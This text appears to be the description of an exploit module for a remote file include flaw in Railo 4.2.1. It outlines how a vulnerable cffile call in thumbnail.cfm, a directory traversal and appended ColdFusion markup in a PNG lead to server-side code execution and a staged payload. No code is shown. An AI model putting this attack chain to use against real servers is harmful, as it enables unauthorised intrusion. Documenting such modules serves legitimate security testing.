                      This module exploits a remote file include vulnerability in Railo,
                      tested against version 4.2.1. First, a call using a vulnerable
                      <cffile> line in thumbnail.cfm allows an atacker to download an
                      arbitrary PNG file. By appending a .cfm, and taking advantage of
                      a directory traversal, an attacker can append cold fusion markup
                      to the PNG file, and have it interpreted by the server. This is
                      used to stage and execute a fully-fledged payload.
